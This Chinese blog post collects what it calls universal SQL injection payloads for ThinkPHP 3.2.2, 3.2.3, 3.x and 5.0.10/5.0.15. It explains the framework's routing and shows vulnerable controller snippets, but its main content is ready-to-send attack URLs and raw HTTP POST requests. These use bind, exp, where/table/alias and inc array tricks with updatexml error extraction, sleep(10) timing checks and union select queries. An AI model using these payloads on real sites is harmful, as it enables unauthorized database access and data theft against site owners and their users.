thinkphp一些版本的通杀漏洞payload
主要一些漏洞来源是这个部分:
http://www.moonsec.com/index.php?keyword=thinkphp
喜欢代码分析的可以先看这个部分的内容
以下2是我这几天下来的测试。
目前针对的是是这两个版本 后面有其他版本测试成功我会在这里在作增加。
thinkphp3.2.2
做一些thinkphp参数的说明 一些没学过框架的朋友或许对这个不是很懂。
m=项目文件
c=模块名
a=动作
默认的项目是home 所以默认访问网站的首页就是访问项目 Application/Home项目主页
网站的默认参数
m=项目文件 默认是Application/Home
c=模块名 默认是 Application/Home/Controller/IndexController.class.php
a=动作 IndexController.class.php index函数
thinkphp支持常见的路由模式
1 基本get形式
http://网址/index.php?m=分组&c=控制器&a=操作方法
该方式是最底层的get形式、传统的参数传递方式,不时尚、不安全。
2 pathinfo路径形式[默认方式]
http://网址/index.php/分组/控制器/操作方法
http://网址/index.php/Home/Index/advert
3 rewrite重写形式(伪静态技术)省略index.php入口文件
http://网址/分组/控制器/操作方法
http://网址/Home/Index/index
4
http://网址/index.php?s=/分组/控制器/操作方法
http://网址/index.php?s=/Home/Index/advert
这个部分我先给出代码 i是获取参数 get post都能获取 所以 提交方法可以是get 或 post
获取username的内容 将存在username的数据查询出来。
http://www.think32.com/index.php?m=Home&c=Index&a=login&username=moonsec http://www.think32.com/index.php/home/index/login/username/moonse
这两种模式都能同样获取数据。对于thinkphp3.2.2 通杀注入漏洞是 存在的 不管你是用那种查询方法都是存在这样的漏洞。
payload
bind方法
http://www.think32.com/index.php?m=Home&c=Index&a=login&username[0]=='admin') AND(UPDATEXML(1,CONCAT(1,(USER())),0))%23 bind&username[1]=21
exp方法注入 适用在使用 i 参数 trim过滤后
public function login2(){ $username = I('post.username', '', 'trim'); $password = I('post.password', '', 'trim'); $row=M('user')->where(array('username'=>$username,'password'=>$password))->find(); if (empty($row)) { echo 0; }else{ echo 1; } }
payload
POST /index.php?m=Home&c=Index&a=login2 HTTP/1.1 Host: www.think32.com Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.26 Safari/537.36 Core/1.63.6756.400 QQBrowser/10.3.2473.400 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=qugpd393c0gn8qhv28s2r40ot7; thinkphp_show_page_trace=0|0 Connection: close Content-Length: 98 Content-Type: application/x-www-form-urlencoded username[0]=exp&username[1]=='admin'))and(updatexml(1,concat(0x7e,(user())),0))%23&password=123456
username[0]=exp&username[1]=='admin'))and(updatexml(1,concat(0x7e,(user())),0))%23&password=123456
thinkphp3.2.3 这个版本相对之前的版本做了一些调整,漏洞出现在查询数据之后的更新处理。
例如 用户的资料更新 密码修改等 资料修改 这些部分 。
public function login3(){ $User = M("User"); // 实例化User对象 $user['id'] = i('id'); // 要修改的数据对象属性赋值 $data['email'] = '[email protected]'; $User->where($user)->save($data); // 根据条件更新记录 }
得到用户id 更新字段 email内容。
payload:
http://www.thinkphp323.com/index.php?m=home&c=index&a=login3&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))
thinkphp3x系列注入漏洞
public function login9(){ $id = i('id'); $data = M('user')->find($id); var_dump($data); }
http://www.think32.com/index.php?m=Home&c=Index&a=login9&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)%23&password=123456
http://www.thinkphp323.com/index.php?m=home&c=index&a=login9&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)%23&password=123456
payload
id[table]=think_user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)%23&password=123456 id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)%23&password=123456 id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)%23&password=123456
thinkphp5系列漏洞payload
thinkphp 5.0.10 通杀注入漏洞
<?php namespace app/index/controller; class Index { public function index() { return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_bd568ce7058a1091"></thinkad>'; } //http://www.thinkphp505.com/public/index.php/index/index/demo public function demo($user) { $info =db('users')->where(array('username'=>$user))->select(); var_dump($info); } public function demoid($id) { $info =db('users')->where(array('id'=>$id))->select(); var_dump($info); } }
这个部分是 获取 数据。
检测是否存在注入,延时十秒 即存在注入
id[0]=not like&id[1][0]=moon&id[1][1]=moon&id[2]=) and sleep(10)#
POST /public/index.php/index/index/demoid/id/ HTTP/1.1 Host: www.thinkphp5010.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:63.0) Gecko/20100101 Firefox/63.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Referer: http://www.thinkphp5010.com/public/index.php/index/index/demoid/ Content-Type: application/x-www-form-urlencoded Content-Length: 65 Connection: close Cookie: pgv_pvi=6212001792; pgv_si=s8559373312 Upgrade-Insecure-Requests: 1 id[0]=not like&id[1][0]=moon&id[1][1]=moon&id[2]=) and sleep(10)#
注入得出数据
demo方法获取同样也是可以用这种方法。
POST /public/index.php/index/index/demo HTTP/1.1 Host: www.thinkphp5010.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:63.0) Gecko/20100101 Firefox/63.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Referer: http://www.thinkphp5010.com/public/index.php/index/index/demoid/ Content-Type: application/x-www-form-urlencoded Content-Length: 93 Connection: close Cookie: pgv_pvi=6212001792; pgv_si=s8559373312 Upgrade-Insecure-Requests: 1 user[0]=not like&user[1][0]=moon&user[1][1]=moon&user[2]=) and 1=2 union select 1,user(),3,4#
thinkphp5.0.15版本 更新注入漏洞
测试的时候注意版本,测试 信息修改。 查看是否存在注入。
报错注入需要,开启 thinkphp的调试模式。
测试模块
public function update_password() { $email = input('post.email/a'); var_dump($email); //$info = db('users')->where('id',1)->update(['email'=>$email]); $info = db('users')->where('id',1)->update(['email' => $email]); var_dump($info ); }
POST /public/index.php/index/index/update_password/ HTTP/1.1 Host: www.thinkphp5015.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:63.0) Gecko/20100101 Firefox/63.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Cookie: pgv_pvi=6212001792; pgv_si=s8559373312 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 67 email[0]=inc&email[1]=updatexml(2,concat(0x7e,user()),0)&email[2]=1
email[0]=inc&email[1]=updatexml(2,concat(0x7e,user()),0)&email[2]=1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论